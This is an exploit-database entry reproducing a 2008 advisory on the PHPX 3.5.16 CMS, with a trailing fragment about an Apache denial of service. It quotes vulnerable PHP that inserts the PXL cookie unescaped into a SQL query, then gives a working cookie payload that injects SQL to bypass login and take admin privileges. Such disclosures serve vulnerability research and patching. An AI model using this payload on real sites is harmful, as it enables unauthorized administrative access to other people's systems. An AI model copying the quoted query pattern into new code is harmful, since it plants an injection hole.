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ExploitAlert : 4431 SecurityAlert : 4112 (Exploit Details) Milw0rm ID : 6176 Credit : gnix Date : 01.08.2008 Exploit Code : ======================================================================= = gnix = gnixmail at gmail dot com http://gnix.netsons.org Application: phpx http://www.phpx.org/project.php (stable version) Versions: 3.5.16 Platforms: All Bug: Cookie poisoning / Login bypass Date: 31 July 2008 ======================================================================= 1. Intro 2. Cookie poisoning and login bypass ======================================================================= 1. Intro ======== PHPX is a web portal system, blog,Content Management System (CMS), forums, and more. All files are currently hosted at http://www.phpx.org/project.php ======================================================================= 2. Cookie poisoning and login bypass ==================================== Every file in phpx-3.5.16/ directory have two lines of code: one for include includes/functions.inc.php, and another to create a website object. website's constructor will call checkCookie. Source code (includes/functions.inc.php) --------------------------------------------------------------------- class website { ... function website(){ ... $this->checkCookie(); --------------------------------------------------------------------- The function checkCookie set the user_id if PXL cookie is set and the query return an user_id, and an username. Vulnerable code (includes/functions.inc.php lines 75 to 89) --------------------------------------------------------------------- function checkCookie(){ if ($_COOKIE[PXL]){ list($user_id, $username) = $this->core->db->fetch("select user_id, username from users where sess = '$_COOKIE[PXL]'"); if (!$user_id){ setcookie("PXL", '', time() - 60, '', '', $this->core->secure); $head = "Location: http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; header($head); } else { if (strtolower($username) == "xnuiem"){ $this->debug = 1; } $this->user_id = $user_id; } } } --------------------------------------------------------------------- This user_id is then used in the website constructor for set the user_id of the core class. Source code (includes/functions.inc.php line 32) --------------------------------------------------------------------- $this->core->user_id = $this->user_id; --------------------------------------------------------------------- Now if you want to get the admin privileges and by pass the login, you have to create a cookie like this below: --------------------------------------------------------------------- PXL=a' OR username='admin --------------------------------------------------------------------- To do that you can use 'Modify Headers'. ======================================================================= Feedback : If you have additional information or notice any errors regarding this exploit, please use contact form or email us at exploit()securityreason()com. |
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Allow attacker to denial of service apache 2.2.17 server |
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